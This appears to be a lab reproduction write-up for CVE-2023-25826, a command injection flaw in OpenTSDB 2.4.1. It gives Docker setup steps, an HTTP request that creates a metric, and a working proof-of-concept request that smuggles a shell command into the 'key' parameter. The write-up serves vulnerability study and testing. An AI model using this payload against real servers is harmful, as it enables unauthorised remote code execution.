OpenTSDB Arbitrary Command Injection Remote Code Execution（CVE-2023-25826）¶

中文版本(Chinese version)

OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase. In version 2.4.1 and earlier, there is a command injection vulnerability. This vulnerability is actually due to an incomplete fix for CVE-2020-35476, so the entire reproduction process is similar to the previous one.

References:

Environment¶

Execute the following command to start a OpenTSDB server 2.4.1:

docker-compose up -d

Once the service is started, visit http://your-ip:4242 to see the web interface of the OpenTSDB.

Exploit¶

Simialar as CVE-2020-35476, you need to know the name of a metric, visit http://your-ip:4242/api/suggest?type=metrics&q=&max=10to find out the metric list.

Due to the tsd.core.auto_create_metrics is set to true in this vulnerable OpenTSDB, you can create a metric named sys.cpu.nice through following request, if the metrics are empty:

POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150

{
    "metric": "sys.cpu.nice",
    "timestamp": 1346846400,
    "value": 20,
    "tags": {
       "host": "web01",
       "dc": "lga"
    }
}

If at least one metric exists and is not empty, the above request is not required.

Then the POC is different here, with the difference in the "key" parameter.

GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=1&xrange=&y2range=[42:42]&key=%3Bsystem%20%22touch%20/tmp/poc%22%20%22&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

touch /tmp/poc has been successfully executed: